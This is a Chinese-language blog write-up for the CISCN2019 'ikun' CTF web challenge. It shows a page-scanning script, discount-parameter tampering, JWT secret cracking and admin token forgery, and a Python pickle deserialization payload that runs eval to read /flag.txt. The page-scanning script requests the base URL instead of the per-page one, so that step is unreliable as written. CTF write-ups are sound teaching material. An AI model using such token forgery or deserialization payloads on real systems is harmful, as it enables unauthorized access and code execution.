[CISCN2019 华北赛区 Day1 Web2]ikun

作者: const27 分类: All,Python反序列化,杂七杂八的安全问题 发布时间: 2020-06-07 12:33

知识点: Python的Pickle反序列化,JWT破解

进来后提示要找到LV6的账号来购买,我们随便注册个号进去,遍历页数来寻找LV6账号存在的页面

import requests

page=""
url="http://c6d50c83-ced7-400d-af64-4949a994eb4a.node3.buuoj.cn/shop?page="
i=1
while(1):
    url_real=url+str(i)
    a=requests.get(url)
    if("lv6.png" in a.text):
        print("The page is in "+str(i))
        break
    else:
        print("Now nothing in "+str(i))
        i=i+1

运行,找到页码在181页

找到他

点击购买,然后点击结算,抓包

把discount(折扣)这个值改得非常小,我们就应该可以购买了

改了后发过去发现只能允许admin访问,这个时候就要改变我们的JWT了.

将其放在jwtcrack 下解密出密钥是 1Kun

然后在 http://jwt.io里进行伪造JWT

放到发送包里替换原有的JWT,发过去.(要连续修改两个包的JWT)

来到这个画面

This image has an empty alt attribute; its file name is d89a79cb-5ac2-4ee5-ad8f-bc2771ba253a

F12查看源代码,可以获取源码

This image has an empty alt attribute; its file name is cc34b069-996c-42e0-b0a4-e6cc7ecc2bed

得到源码后,在admin.py发现python反序列化利用点

post方法里的get_argument是得到post里的become参数值的意思
他把become的参数值url解码后反序列化处理,我们因此制作payload
在python2里运行下列代码

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a=urllib.quote(a)
print(a)

把结果放到become参数里,发包过去,得到flag

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云